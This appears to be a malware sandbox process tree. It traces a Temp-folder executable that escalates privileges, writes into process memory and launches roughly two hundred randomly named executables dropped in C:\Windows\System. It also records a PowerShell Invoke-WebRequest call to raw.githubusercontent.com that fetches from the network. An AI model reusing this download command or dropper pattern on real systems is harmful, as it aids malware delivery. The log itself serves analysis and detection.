C:\Users\Admin\AppData\Local\Temp\e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe
"C:\Users\Admin\AppData\Local\Temp\e8051a9643c9bba650cde2f1d61bcc70_NeikiAnalytics.exe"
1⤵
- Loads dropped DLL
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2364
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -command "Invoke-WebRequest "https://raw.githubusercontent.com/" "
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2324
- C:\Windows\System\yucQawW.exe
  C:\Windows\System\yucQawW.exe
  2⤵
  - Executes dropped EXE
  PID:2260
- C:\Windows\System\GTXvNNe.exe
  C:\Windows\System\GTXvNNe.exe
  2⤵
  - Executes dropped EXE
  PID:2668
- C:\Windows\System\WyPVgIV.exe
  C:\Windows\System\WyPVgIV.exe
  2⤵
  - Executes dropped EXE
  PID:2828
- C:\Windows\System\IUEJOmH.exe
  C:\Windows\System\IUEJOmH.exe
  2⤵
  - Executes dropped EXE
  PID:3052
- C:\Windows\System\DDIquPW.exe
  C:\Windows\System\DDIquPW.exe
  2⤵
  - Executes dropped EXE
  PID:2708
- C:\Windows\System\dUgPQBo.exe
  C:\Windows\System\dUgPQBo.exe
  2⤵
  - Executes dropped EXE
  PID:2776
- C:\Windows\System\GamtWGc.exe
  C:\Windows\System\GamtWGc.exe
  2⤵
  - Executes dropped EXE
  PID:2536
- C:\Windows\System\uaetEOk.exe
  C:\Windows\System\uaetEOk.exe
  2⤵
  - Executes dropped EXE
  PID:3036
- C:\Windows\System\SleoOie.exe
  C:\Windows\System\SleoOie.exe
  2⤵
  - Executes dropped EXE
  PID:3032
- C:\Windows\System\MFrTpwH.exe
  C:\Windows\System\MFrTpwH.exe
  2⤵
  - Executes dropped EXE
  PID:2784
- C:\Windows\System\gyysgGq.exe
  C:\Windows\System\gyysgGq.exe
  2⤵
  - Executes dropped EXE
  PID:2632
- C:\Windows\System\ljngOCC.exe
  C:\Windows\System\ljngOCC.exe
  2⤵
  - Executes dropped EXE
  PID:1948
- C:\Windows\System\FGnXjKI.exe
  C:\Windows\System\FGnXjKI.exe
  2⤵
  - Executes dropped EXE
  PID:1984
- C:\Windows\System\tznFQoe.exe
  C:\Windows\System\tznFQoe.exe
  2⤵
  - Executes dropped EXE
  PID:280
- C:\Windows\System\ORTigPW.exe
  C:\Windows\System\ORTigPW.exe
  2⤵
  - Executes dropped EXE
  PID:2468
- C:\Windows\System\WmyVJOY.exe
  C:\Windows\System\WmyVJOY.exe
  2⤵
  - Executes dropped EXE
  PID:2388
- C:\Windows\System\MLjUBSG.exe
  C:\Windows\System\MLjUBSG.exe
  2⤵
  - Executes dropped EXE
  PID:2752
- C:\Windows\System\xhbHFfo.exe
  C:\Windows\System\xhbHFfo.exe
  2⤵
  - Executes dropped EXE
  PID:1636
- C:\Windows\System\qruUrXb.exe
  C:\Windows\System\qruUrXb.exe
  2⤵
  - Executes dropped EXE
  PID:1800
- C:\Windows\System\XGFaaLP.exe
  C:\Windows\System\XGFaaLP.exe
  2⤵
  - Executes dropped EXE
  PID:1212
- C:\Windows\System\YgmCgUP.exe
  C:\Windows\System\YgmCgUP.exe
  2⤵
  - Executes dropped EXE
  PID:1696
- C:\Windows\System\lohrlee.exe
  C:\Windows\System\lohrlee.exe
  2⤵
  - Executes dropped EXE
  PID:2088
- C:\Windows\System\CndyRtc.exe
  C:\Windows\System\CndyRtc.exe
  2⤵
  - Executes dropped EXE
  PID:2792
- C:\Windows\System\JYkoOsv.exe
  C:\Windows\System\JYkoOsv.exe
  2⤵
  - Executes dropped EXE
  PID:2840
- C:\Windows\System\qnTLuvF.exe
  C:\Windows\System\qnTLuvF.exe
  2⤵
  - Executes dropped EXE
  PID:2360
- C:\Windows\System\gSjeVbc.exe
  C:\Windows\System\gSjeVbc.exe
  2⤵
  - Executes dropped EXE
  PID:684
- C:\Windows\System\KcLEnHb.exe
  C:\Windows\System\KcLEnHb.exe
  2⤵
  - Executes dropped EXE
  PID:1196
- C:\Windows\System\VsUGjBw.exe
  C:\Windows\System\VsUGjBw.exe
  2⤵
  - Executes dropped EXE
  PID:1500
- C:\Windows\System\RiwaRgE.exe
  C:\Windows\System\RiwaRgE.exe
  2⤵
  - Executes dropped EXE
  PID:904
- C:\Windows\System\rvwfBrJ.exe
  C:\Windows\System\rvwfBrJ.exe
  2⤵
  - Executes dropped EXE
  PID:3068
- C:\Windows\System\fkOCKUI.exe
  C:\Windows\System\fkOCKUI.exe
  2⤵
  - Executes dropped EXE
  PID:1780
- C:\Windows\System\DjGMveF.exe
  C:\Windows\System\DjGMveF.exe
  2⤵
  - Executes dropped EXE
  PID:1300
- C:\Windows\System\FAPZCVX.exe
  C:\Windows\System\FAPZCVX.exe
  2⤵
  - Executes dropped EXE
  PID:412
- C:\Windows\System\SNBHfQe.exe
  C:\Windows\System\SNBHfQe.exe
  2⤵
  - Executes dropped EXE
  PID:1148
- C:\Windows\System\OXhsbIO.exe
  C:\Windows\System\OXhsbIO.exe
  2⤵
  - Executes dropped EXE
  PID:3064
- C:\Windows\System\HwrCZwC.exe
  C:\Windows\System\HwrCZwC.exe
  2⤵
  - Executes dropped EXE
  PID:1796
- C:\Windows\System\KAKdeYQ.exe
  C:\Windows\System\KAKdeYQ.exe
  2⤵
  - Executes dropped EXE
  PID:1676
- C:\Windows\System\fIWRNsw.exe
  C:\Windows\System\fIWRNsw.exe
  2⤵
  - Executes dropped EXE
  PID:1772
- C:\Windows\System\Hounrkm.exe
  C:\Windows\System\Hounrkm.exe
  2⤵
  - Executes dropped EXE
  PID:1648
- C:\Windows\System\mPZcUYF.exe
  C:\Windows\System\mPZcUYF.exe
  2⤵
  - Executes dropped EXE
  PID:1376
- C:\Windows\System\OKKwgtx.exe
  C:\Windows\System\OKKwgtx.exe
  2⤵
  - Executes dropped EXE
  PID:1744
- C:\Windows\System\usnJkxm.exe
  C:\Windows\System\usnJkxm.exe
  2⤵
  - Executes dropped EXE
  PID:320
- C:\Windows\System\sMcbvLI.exe
  C:\Windows\System\sMcbvLI.exe
  2⤵
  - Executes dropped EXE
  PID:1620
- C:\Windows\System\jPEyRuZ.exe
  C:\Windows\System\jPEyRuZ.exe
  2⤵
  - Executes dropped EXE
  PID:912
- C:\Windows\System\jVXrWhM.exe
  C:\Windows\System\jVXrWhM.exe
  2⤵
  - Executes dropped EXE
  PID:940
- C:\Windows\System\hVdnoCI.exe
  C:\Windows\System\hVdnoCI.exe
  2⤵
  - Executes dropped EXE
  PID:712
- C:\Windows\System\CRbEhYx.exe
  C:\Windows\System\CRbEhYx.exe
  2⤵
  - Executes dropped EXE
  PID:3004
- C:\Windows\System\QeuVWDG.exe
  C:\Windows\System\QeuVWDG.exe
  2⤵
  - Executes dropped EXE
  PID:2980
- C:\Windows\System\MZAXsYl.exe
  C:\Windows\System\MZAXsYl.exe
  2⤵
  - Executes dropped EXE
  PID:2884
- C:\Windows\System\Arnajna.exe
  C:\Windows\System\Arnajna.exe
  2⤵
  - Executes dropped EXE
  PID:564
- C:\Windows\System\NlckoZH.exe
  C:\Windows\System\NlckoZH.exe
  2⤵
  - Executes dropped EXE
  PID:2280
- C:\Windows\System\vQsmsiN.exe
  C:\Windows\System\vQsmsiN.exe
  2⤵
  - Executes dropped EXE
  PID:2976
- C:\Windows\System\tzefznz.exe
  C:\Windows\System\tzefznz.exe
  2⤵
  - Executes dropped EXE
  PID:1284
- C:\Windows\System\houzhSo.exe
  C:\Windows\System\houzhSo.exe
  2⤵
  - Executes dropped EXE
  PID:2272
- C:\Windows\System\dIpnUuF.exe
  C:\Windows\System\dIpnUuF.exe
  2⤵
  - Executes dropped EXE
  PID:888
- C:\Windows\System\wSCLGPp.exe
  C:\Windows\System\wSCLGPp.exe
  2⤵
  - Executes dropped EXE
  PID:2328
- C:\Windows\System\yNVKhTm.exe
  C:\Windows\System\yNVKhTm.exe
  2⤵
  - Executes dropped EXE
  PID:2156
- C:\Windows\System\DKxtGlP.exe
  C:\Windows\System\DKxtGlP.exe
  2⤵
  - Executes dropped EXE
  PID:2812
- C:\Windows\System\TsiUMFU.exe
  C:\Windows\System\TsiUMFU.exe
  2⤵
  - Executes dropped EXE
  PID:2172
- C:\Windows\System\fIDeUtg.exe
  C:\Windows\System\fIDeUtg.exe
  2⤵
  - Executes dropped EXE
  PID:1584
- C:\Windows\System\tyayXXi.exe
  C:\Windows\System\tyayXXi.exe
  2⤵
  - Executes dropped EXE
  PID:1700
- C:\Windows\System\dHCCTMb.exe
  C:\Windows\System\dHCCTMb.exe
  2⤵
  - Executes dropped EXE
  PID:1316
- C:\Windows\System\AMZLlSN.exe
  C:\Windows\System\AMZLlSN.exe
  2⤵
  - Executes dropped EXE
  PID:1952
- C:\Windows\System\LJdyvpo.exe
  C:\Windows\System\LJdyvpo.exe
  2⤵
  - Executes dropped EXE
  PID:2748
- C:\Windows\System\nAMaIUe.exe
  C:\Windows\System\nAMaIUe.exe
  2⤵
  PID:2508
- C:\Windows\System\nQAnlyv.exe
  C:\Windows\System\nQAnlyv.exe
  2⤵
  PID:2596
- C:\Windows\System\bXZoIHw.exe
  C:\Windows\System\bXZoIHw.exe
  2⤵
  PID:776
- C:\Windows\System\IORDqHv.exe
  C:\Windows\System\IORDqHv.exe
  2⤵
  PID:2456
- C:\Windows\System\pGAANWu.exe
  C:\Windows\System\pGAANWu.exe
  2⤵
  PID:2432
- C:\Windows\System\uZbYhNS.exe
  C:\Windows\System\uZbYhNS.exe
  2⤵
  PID:1964
- C:\Windows\System\yLBYEWx.exe
  C:\Windows\System\yLBYEWx.exe
  2⤵
  PID:2780
- C:\Windows\System\bAZubXs.exe
  C:\Windows\System\bAZubXs.exe
  2⤵
  PID:2680
- C:\Windows\System\HuqWlLM.exe
  C:\Windows\System\HuqWlLM.exe
  2⤵
  PID:1992
- C:\Windows\System\zuHZcGj.exe
  C:\Windows\System\zuHZcGj.exe
  2⤵
  PID:1752
- C:\Windows\System\porOGeU.exe
  C:\Windows\System\porOGeU.exe
  2⤵
  PID:2620
- C:\Windows\System\YHoLiRN.exe
  C:\Windows\System\YHoLiRN.exe
  2⤵
  PID:2700
- C:\Windows\System\XVVUYmZ.exe
  C:\Windows\System\XVVUYmZ.exe
  2⤵
  PID:2652
- C:\Windows\System\qEJECEy.exe
  C:\Windows\System\qEJECEy.exe
  2⤵
  PID:2460
- C:\Windows\System\rwYdmJB.exe
  C:\Windows\System\rwYdmJB.exe
  2⤵
  PID:2096
- C:\Windows\System\dZZsIvZ.exe
  C:\Windows\System\dZZsIvZ.exe
  2⤵
  PID:2684
- C:\Windows\System\RLoIWVh.exe
  C:\Windows\System\RLoIWVh.exe
  2⤵
  PID:1304
- C:\Windows\System\WJbgXzj.exe
  C:\Windows\System\WJbgXzj.exe
  2⤵
  PID:1788
- C:\Windows\System\YgWMjLe.exe
  C:\Windows\System\YgWMjLe.exe
  2⤵
  PID:2200
- C:\Windows\System\ttZUTtM.exe
  C:\Windows\System\ttZUTtM.exe
  2⤵
  PID:2404
- C:\Windows\System\lUsysdE.exe
  C:\Windows\System\lUsysdE.exe
  2⤵
  PID:2416
- C:\Windows\System\XohJZZX.exe
  C:\Windows\System\XohJZZX.exe
  2⤵
  PID:2844
- C:\Windows\System\XXybDJx.exe
  C:\Windows\System\XXybDJx.exe
  2⤵
  PID:1068
- C:\Windows\System\JimcvMo.exe
  C:\Windows\System\JimcvMo.exe
  2⤵
  PID:1484
- C:\Windows\System\IghkBXg.exe
  C:\Windows\System\IghkBXg.exe
  2⤵
  PID:548
- C:\Windows\System\fTbziNr.exe
  C:\Windows\System\fTbziNr.exe
  2⤵
  PID:1892
- C:\Windows\System\jKdJTQs.exe
  C:\Windows\System\jKdJTQs.exe
  2⤵
  PID:784
- C:\Windows\System\SzvwckP.exe
  C:\Windows\System\SzvwckP.exe
  2⤵
  PID:2352
- C:\Windows\System\ipJaUjD.exe
  C:\Windows\System\ipJaUjD.exe
  2⤵
  PID:1056
- C:\Windows\System\prTRXKm.exe
  C:\Windows\System\prTRXKm.exe
  2⤵
  PID:1564
- C:\Windows\System\lpsgTVB.exe
  C:\Windows\System\lpsgTVB.exe
  2⤵
  PID:1388
- C:\Windows\System\UXgoeaW.exe
  C:\Windows\System\UXgoeaW.exe
  2⤵
  PID:1504
- C:\Windows\System\kdKIUBf.exe
  C:\Windows\System\kdKIUBf.exe
  2⤵
  PID:2160
- C:\Windows\System\TVKVcKd.exe
  C:\Windows\System\TVKVcKd.exe
  2⤵
  PID:2184
- C:\Windows\System\WIANoAM.exe
  C:\Windows\System\WIANoAM.exe
  2⤵
  PID:1704
- C:\Windows\System\tNryhFq.exe
  C:\Windows\System\tNryhFq.exe
  2⤵
  PID:1712
- C:\Windows\System\mxoANen.exe
  C:\Windows\System\mxoANen.exe
  2⤵
  PID:2764
- C:\Windows\System\YwpvHAr.exe
  C:\Windows\System\YwpvHAr.exe
  2⤵
  PID:2948
- C:\Windows\System\fyOkXGd.exe
  C:\Windows\System\fyOkXGd.exe
  2⤵
  PID:1848
- C:\Windows\System\HahUAGX.exe
  C:\Windows\System\HahUAGX.exe
  2⤵
  PID:1208
- C:\Windows\System\kJfRdbf.exe
  C:\Windows\System\kJfRdbf.exe
  2⤵
  PID:1692
- C:\Windows\System\vHmXmRu.exe
  C:\Windows\System\vHmXmRu.exe
  2⤵
  PID:2032
- C:\Windows\System\sMwSkPZ.exe
  C:\Windows\System\sMwSkPZ.exe
  2⤵
  PID:1996
- C:\Windows\System\XzrBcSy.exe
  C:\Windows\System\XzrBcSy.exe
  2⤵
  PID:960
- C:\Windows\System\xkFDTqu.exe
  C:\Windows\System\xkFDTqu.exe
  2⤵
  PID:2796
- C:\Windows\System\fyhWwEw.exe
  C:\Windows\System\fyhWwEw.exe
  2⤵
  PID:2288
- C:\Windows\System\iGLxWiI.exe
  C:\Windows\System\iGLxWiI.exe
  2⤵
  PID:240
- C:\Windows\System\uDEkgvl.exe
  C:\Windows\System\uDEkgvl.exe
  2⤵
  PID:2176
- C:\Windows\System\gIRgZrF.exe
  C:\Windows\System\gIRgZrF.exe
  2⤵
  PID:1596
- C:\Windows\System\ELUapgj.exe
  C:\Windows\System\ELUapgj.exe
  2⤵
  PID:3008
- C:\Windows\System\yrAiMmg.exe
  C:\Windows\System\yrAiMmg.exe
  2⤵
  PID:400
- C:\Windows\System\lRvpBEb.exe
  C:\Windows\System\lRvpBEb.exe
  2⤵
  PID:1572
- C:\Windows\System\MtiLevL.exe
  C:\Windows\System\MtiLevL.exe
  2⤵
  PID:2256
- C:\Windows\System\uPxuWZT.exe
  C:\Windows\System\uPxuWZT.exe
  2⤵
  PID:2336
- C:\Windows\System\HlTUdfh.exe
  C:\Windows\System\HlTUdfh.exe
  2⤵
  PID:2640
- C:\Windows\System\cgJBYkI.exe
  C:\Windows\System\cgJBYkI.exe
  2⤵
  PID:2564
- C:\Windows\System\tLhtmZE.exe
  C:\Windows\System\tLhtmZE.exe
  2⤵
  PID:2396
- C:\Windows\System\kRfCiuS.exe
  C:\Windows\System\kRfCiuS.exe
  2⤵
  PID:2664
- C:\Windows\System\aMjFEKt.exe
  C:\Windows\System\aMjFEKt.exe
  2⤵
  PID:2612
- C:\Windows\System\NsznPOx.exe
  C:\Windows\System\NsznPOx.exe
  2⤵
  PID:2500
- C:\Windows\System\bIAEnXG.exe
  C:\Windows\System\bIAEnXG.exe
  2⤵
  PID:3024
- C:\Windows\System\gQgnndi.exe
  C:\Windows\System\gQgnndi.exe
  2⤵
  PID:1640
- C:\Windows\System\JLHFiWj.exe
  C:\Windows\System\JLHFiWj.exe
  2⤵
  PID:1128
- C:\Windows\System\bTJPhLQ.exe
  C:\Windows\System\bTJPhLQ.exe
  2⤵
  PID:2688
- C:\Windows\System\BjILWkS.exe
  C:\Windows\System\BjILWkS.exe
  2⤵
  PID:856
- C:\Windows\System\NdifnkP.exe
  C:\Windows\System\NdifnkP.exe
  2⤵
  PID:1880
- C:\Windows\System\YTpXSDv.exe
  C:\Windows\System\YTpXSDv.exe
  2⤵
  PID:1548
- C:\Windows\System\mmhMacg.exe
  C:\Windows\System\mmhMacg.exe
  2⤵
  PID:308
- C:\Windows\System\IZhgrvV.exe
  C:\Windows\System\IZhgrvV.exe
  2⤵
  PID:1876
- C:\Windows\System\Jcenjha.exe
  C:\Windows\System\Jcenjha.exe
  2⤵
  PID:1312
- C:\Windows\System\bxLEamD.exe
  C:\Windows\System\bxLEamD.exe
  2⤵
  PID:540
- C:\Windows\System\ErJkwCH.exe
  C:\Windows\System\ErJkwCH.exe
  2⤵
  PID:1556
- C:\Windows\System\hFFiJfE.exe
  C:\Windows\System\hFFiJfE.exe
  2⤵
  PID:1588
- C:\Windows\System\KrMDxYy.exe
  C:\Windows\System\KrMDxYy.exe
  2⤵
  PID:1060
- C:\Windows\System\PyihaBa.exe
  C:\Windows\System\PyihaBa.exe
  2⤵
  PID:2560
- C:\Windows\System\pwoKncc.exe
  C:\Windows\System\pwoKncc.exe
  2⤵
  PID:672
- C:\Windows\System\tVsyvQt.exe
  C:\Windows\System\tVsyvQt.exe
  2⤵
  PID:1608
- C:\Windows\System\oGCiEPM.exe
  C:\Windows\System\oGCiEPM.exe
  2⤵
  PID:2852
- C:\Windows\System\PgkMXfs.exe
  C:\Windows\System\PgkMXfs.exe
  2⤵
  PID:1360
- C:\Windows\System\lbCPNuk.exe
  C:\Windows\System\lbCPNuk.exe
  2⤵
  PID:2232
- C:\Windows\System\MMwnLcN.exe
  C:\Windows\System\MMwnLcN.exe
  2⤵
  PID:2972
- C:\Windows\System\ztEPHpW.exe
  C:\Windows\System\ztEPHpW.exe
  2⤵
  PID:2636
- C:\Windows\System\JRrDEpd.exe
  C:\Windows\System\JRrDEpd.exe
  2⤵
  PID:2724
- C:\Windows\System\mBAxcnC.exe
  C:\Windows\System\mBAxcnC.exe
  2⤵
  PID:2704
- C:\Windows\System\alUzWkn.exe
  C:\Windows\System\alUzWkn.exe
  2⤵
  PID:2008
- C:\Windows\System\rJYWKIq.exe
  C:\Windows\System\rJYWKIq.exe
  2⤵
  PID:924
- C:\Windows\System\mJmaZkM.exe
  C:\Windows\System\mJmaZkM.exe
  2⤵
  PID:768
- C:\Windows\System\FbRUNvN.exe
  C:\Windows\System\FbRUNvN.exe
  2⤵
  PID:2888
- C:\Windows\System\cGbLhjd.exe
  C:\Windows\System\cGbLhjd.exe
  2⤵
  PID:2004
- C:\Windows\System\yPtFeYQ.exe
  C:\Windows\System\yPtFeYQ.exe
  2⤵
  PID:2320
- C:\Windows\System\lMwnefI.exe
  C:\Windows\System\lMwnefI.exe
  2⤵
  PID:2732
- C:\Windows\System\ZcMNxeP.exe
  C:\Windows\System\ZcMNxeP.exe
  2⤵
  PID:2616
- C:\Windows\System\rLPaYkY.exe
  C:\Windows\System\rLPaYkY.exe
  2⤵
  PID:2300
- C:\Windows\System\JhOtVJc.exe
  C:\Windows\System\JhOtVJc.exe
  2⤵
  PID:1592
- C:\Windows\System\VTRcfms.exe
  C:\Windows\System\VTRcfms.exe
  2⤵
  PID:2760
- C:\Windows\System\ubrdkPW.exe
  C:\Windows\System\ubrdkPW.exe
  2⤵
  PID:1520
- C:\Windows\System\CnBaydc.exe
  C:\Windows\System\CnBaydc.exe
  2⤵
  PID:3000
- C:\Windows\System\tyoHPRH.exe
  C:\Windows\System\tyoHPRH.exe
  2⤵
  PID:824
- C:\Windows\System\nYMLvBE.exe
  C:\Windows\System\nYMLvBE.exe
  2⤵
  PID:1628
- C:\Windows\System\iQbEWpc.exe
  C:\Windows\System\iQbEWpc.exe
  2⤵
  PID:1540
- C:\Windows\System\XRQwqVm.exe
  C:\Windows\System\XRQwqVm.exe
  2⤵
  PID:700
- C:\Windows\System\CWmQNoj.exe
  C:\Windows\System\CWmQNoj.exe
  2⤵
  PID:2504
- C:\Windows\System\SRiQzrF.exe
  C:\Windows\System\SRiQzrF.exe
  2⤵
  PID:2472
- C:\Windows\System\EstQeyL.exe
  C:\Windows\System\EstQeyL.exe
  2⤵
  PID:1832
- C:\Windows\System\XwEdnhl.exe
  C:\Windows\System\XwEdnhl.exe
  2⤵
  PID:2064
- C:\Windows\System\wVWpifE.exe
  C:\Windows\System\wVWpifE.exe
  2⤵
  PID:1864
- C:\Windows\System\LgVtPYS.exe
  C:\Windows\System\LgVtPYS.exe
  2⤵
  PID:2736
- C:\Windows\System\ehEGnnI.exe
  C:\Windows\System\ehEGnnI.exe
  2⤵
  PID:488
- C:\Windows\System\MTNzcsg.exe
  C:\Windows\System\MTNzcsg.exe
  2⤵
  PID:2340
- C:\Windows\System\WdsLANc.exe
  C:\Windows\System\WdsLANc.exe
  2⤵
  PID:1688
- C:\Windows\System\NdjhcbU.exe
  C:\Windows\System\NdjhcbU.exe
  2⤵
  PID:2092
- C:\Windows\System\PTXMYxM.exe
  C:\Windows\System\PTXMYxM.exe
  2⤵
  PID:1644
- C:\Windows\System\KoYcCdp.exe
  C:\Windows\System\KoYcCdp.exe
  2⤵
  PID:2132
- C:\Windows\System\dCdfePn.exe
  C:\Windows\System\dCdfePn.exe
  2⤵
  PID:2964
- C:\Windows\System\UAWoDxo.exe
  C:\Windows\System\UAWoDxo.exe
  2⤵
  PID:3084
- C:\Windows\System\wASvfKB.exe
  C:\Windows\System\wASvfKB.exe
  2⤵
  PID:3100
- C:\Windows\System\HvQEotu.exe
  C:\Windows\System\HvQEotu.exe
  2⤵
  PID:3120
- C:\Windows\System\drsojQS.exe
  C:\Windows\System\drsojQS.exe
  2⤵
  PID:3136
- C:\Windows\System\bPtWphi.exe
  C:\Windows\System\bPtWphi.exe
  2⤵
  PID:3152
- C:\Windows\System\gVwAjXf.exe
  C:\Windows\System\gVwAjXf.exe
  2⤵
  PID:3168
- C:\Windows\System\KGHYUXn.exe
  C:\Windows\System\KGHYUXn.exe
  2⤵
  PID:3184
- C:\Windows\System\JnnzVcz.exe
  C:\Windows\System\JnnzVcz.exe
  2⤵
  PID:3200
- C:\Windows\System\SLwUtrM.exe
  C:\Windows\System\SLwUtrM.exe
  2⤵
  PID:3216
- C:\Windows\System\ZGSEuyI.exe
  C:\Windows\System\ZGSEuyI.exe
  2⤵
  PID:3236
- C:\Windows\System\YqXuoNl.exe
  C:\Windows\System\YqXuoNl.exe
  2⤵
  PID:3252
- C:\Windows\System\ROEbTCL.exe
  C:\Windows\System\ROEbTCL.exe
  2⤵
  PID:3268
- C:\Windows\System\QZbrTPK.exe
  C:\Windows\System\QZbrTPK.exe
  2⤵
  PID:3292
- C:\Windows\System\PtHImjI.exe
  C:\Windows\System\PtHImjI.exe
  2⤵
  PID:3308
- C:\Windows\System\yAKGwYk.exe
  C:\Windows\System\yAKGwYk.exe
  2⤵
  PID:3324
- C:\Windows\System\bZJgwUj.exe
  C:\Windows\System\bZJgwUj.exe
  2⤵
  PID:3348
- C:\Windows\System\NPezeSO.exe
  C:\Windows\System\NPezeSO.exe
  2⤵
  PID:3372
- C:\Windows\System\SrEELZS.exe
  C:\Windows\System\SrEELZS.exe
  2⤵
  PID:3388
- C:\Windows\System\jbTQQhv.exe
  C:\Windows\System\jbTQQhv.exe
  2⤵
  PID:3404
- C:\Windows\System\npDFZBC.exe
  C:\Windows\System\npDFZBC.exe
  2⤵
  PID:3424
- C:\Windows\System\TpEQBNy.exe
  C:\Windows\System\TpEQBNy.exe
  2⤵
  PID:3440
- C:\Windows\System\lVlXnKi.exe
  C:\Windows\System\lVlXnKi.exe
  2⤵
  PID:3456
- C:\Windows\System\KiEBADh.exe
  C:\Windows\System\KiEBADh.exe
  2⤵
  PID:3472
- C:\Windows\System\VnmuAhY.exe
  C:\Windows\System\VnmuAhY.exe
  2⤵
  PID:3496
- C:\Windows\System\JrdhUJS.exe
  C:\Windows\System\JrdhUJS.exe
  2⤵
  PID:3512
- C:\Windows\System\djLuteB.exe
  C:\Windows\System\djLuteB.exe
  2⤵
  PID:3528
- C:\Windows\System\cPQFgHc.exe
  C:\Windows\System\cPQFgHc.exe
  2⤵
  PID:3548
- C:\Windows\System\tyuOWOD.exe
  C:\Windows\System\tyuOWOD.exe
  2⤵
  PID:3564
- C:\Windows\System\gyvxVkg.exe
  C:\Windows\System\gyvxVkg.exe
  2⤵
  PID:3580
- C:\Windows\System\NZrLoyG.exe
  C:\Windows\System\NZrLoyG.exe
  2⤵
  PID:3596
- C:\Windows\System\Rrzwpvu.exe
  C:\Windows\System\Rrzwpvu.exe
  2⤵
  PID:3616
- C:\Windows\System\bYmqNYD.exe
  C:\Windows\System\bYmqNYD.exe
  2⤵
  PID:3632
- C:\Windows\System\TOZDwBf.exe
  C:\Windows\System\TOZDwBf.exe
  2⤵
  PID:3648
- C:\Windows\System\YvWkJAZ.exe
  C:\Windows\System\YvWkJAZ.exe
  2⤵
  PID:3664
- C:\Windows\System\SZIcnVK.exe
  C:\Windows\System\SZIcnVK.exe
  2⤵
  PID:3684
- C:\Windows\System\dcWCXza.exe
  C:\Windows\System\dcWCXza.exe
  2⤵
  PID:3700
- C:\Windows\System\PgUYQsP.exe
  C:\Windows\System\PgUYQsP.exe
  2⤵
  PID:3720
- C:\Windows\System\BwiVCaR.exe
  C:\Windows\System\BwiVCaR.exe
  2⤵
  PID:3736
- C:\Windows\System\CeLoUbW.exe
  C:\Windows\System\CeLoUbW.exe
  2⤵
  PID:3780
- C:\Windows\System\lATjjZl.exe
  C:\Windows\System\lATjjZl.exe
  2⤵
  PID:3796
- C:\Windows\System\eycqiPX.exe
  C:\Windows\System\eycqiPX.exe
  2⤵
  PID:3820
- C:\Windows\System\GqlMyBA.exe
  C:\Windows\System\GqlMyBA.exe
  2⤵
  PID:3916
- C:\Windows\System\lBbefiR.exe
  C:\Windows\System\lBbefiR.exe
  2⤵
  PID:3948
- C:\Windows\System\DEpJXAz.exe
  C:\Windows\System\DEpJXAz.exe
  2⤵
  PID:3968
- C:\Windows\System\DrVyYSz.exe
  C:\Windows\System\DrVyYSz.exe
  2⤵
  PID:3984
- C:\Windows\System\gzrGvNB.exe
  C:\Windows\System\gzrGvNB.exe
  2⤵
  PID:4004
- C:\Windows\System\panXsEe.exe
  C:\Windows\System\panXsEe.exe
  2⤵
  PID:4028
- C:\Windows\System\zWzTluM.exe
  C:\Windows\System\zWzTluM.exe
  2⤵
  PID:4044
- C:\Windows\System\YUSNhYo.exe
  C:\Windows\System\YUSNhYo.exe
  2⤵
  PID:4064
- C:\Windows\System\RAutGSO.exe
  C:\Windows\System\RAutGSO.exe
  2⤵
  PID:4088
- C:\Windows\System\oxEgFKz.exe
  C:\Windows\System\oxEgFKz.exe
  2⤵
  PID:1268
- C:\Windows\System\TyrLXzw.exe
  C:\Windows\System\TyrLXzw.exe
  2⤵
  PID:2372
- C:\Windows\System\qpovYsj.exe
  C:\Windows\System\qpovYsj.exe
  2⤵
  PID:3144
- C:\Windows\System\VaiZibH.exe
  C:\Windows\System\VaiZibH.exe
  2⤵
  PID:3248
- C:\Windows\System\ZuEPFfF.exe
  C:\Windows\System\ZuEPFfF.exe
  2⤵
  PID:3316
- C:\Windows\System\pUywcqW.exe
  C:\Windows\System\pUywcqW.exe
  2⤵
  PID:3368
- C:\Windows\System\LgjlMPe.exe
  C:\Windows\System\LgjlMPe.exe
  2⤵
  PID:3080
- C:\Windows\System\SpkirrU.exe
  C:\Windows\System\SpkirrU.exe
  2⤵
  PID:3508
- C:\Windows\System\yyFUCEN.exe
  C:\Windows\System\yyFUCEN.exe
  2⤵
  PID:3572
- C:\Windows\System\QtCrkCh.exe
  C:\Windows\System\QtCrkCh.exe
  2⤵
  PID:3612
- C:\Windows\System\hqyDCEZ.exe
  C:\Windows\System\hqyDCEZ.exe
  2⤵
  PID:3716
- C:\Windows\System\ljTxWMC.exe
  C:\Windows\System\ljTxWMC.exe
  2⤵
  PID:3760
- C:\Windows\System\mWDaToK.exe
  C:\Windows\System\mWDaToK.exe
  2⤵
  PID:3808
- C:\Windows\System\WdgIlPy.exe
  C:\Windows\System\WdgIlPy.exe
  2⤵
  PID:3772
- C:\Windows\System\aswukRY.exe
  C:\Windows\System\aswukRY.exe
  2⤵
  PID:3196
- C:\Windows\System\OZrscvx.exe
  C:\Windows\System\OZrscvx.exe
  2⤵
  PID:3264
- C:\Windows\System\ttzGgUs.exe
  C:\Windows\System\ttzGgUs.exe
  2⤵
  PID:3492
- C:\Windows\System\DdxlYum.exe
  C:\Windows\System\DdxlYum.exe
  2⤵
  PID:3416
- C:\Windows\System\JPNUixH.exe
  C:\Windows\System\JPNUixH.exe
  2⤵
  PID:3560
- C:\Windows\System\UmZnFAV.exe
  C:\Windows\System\UmZnFAV.exe
  2⤵
  PID:3592
- C:\Windows\System\hDJNicS.exe
  C:\Windows\System\hDJNicS.exe
  2⤵
  PID:3696
- C:\Windows\System\iRYWVXD.exe
  C:\Windows\System\iRYWVXD.exe
  2⤵
  PID:3792
- C:\Windows\System\ujTXRHH.exe
  C:\Windows\System\ujTXRHH.exe
  2⤵
  PID:3844
- C:\Windows\System\jtwSJOM.exe
  C:\Windows\System\jtwSJOM.exe
  2⤵
  PID:3860
- C:\Windows\System\WrXZgwE.exe
  C:\Windows\System\WrXZgwE.exe
  2⤵
  PID:3876
- C:\Windows\System\saEigHF.exe
  C:\Windows\System\saEigHF.exe
  2⤵
  PID:3904
- C:\Windows\System\ZYDzrfu.exe
  C:\Windows\System\ZYDzrfu.exe
  2⤵
  PID:3944
- C:\Windows\System\TPRVAZn.exe
  C:\Windows\System\TPRVAZn.exe
  2⤵
  PID:3976
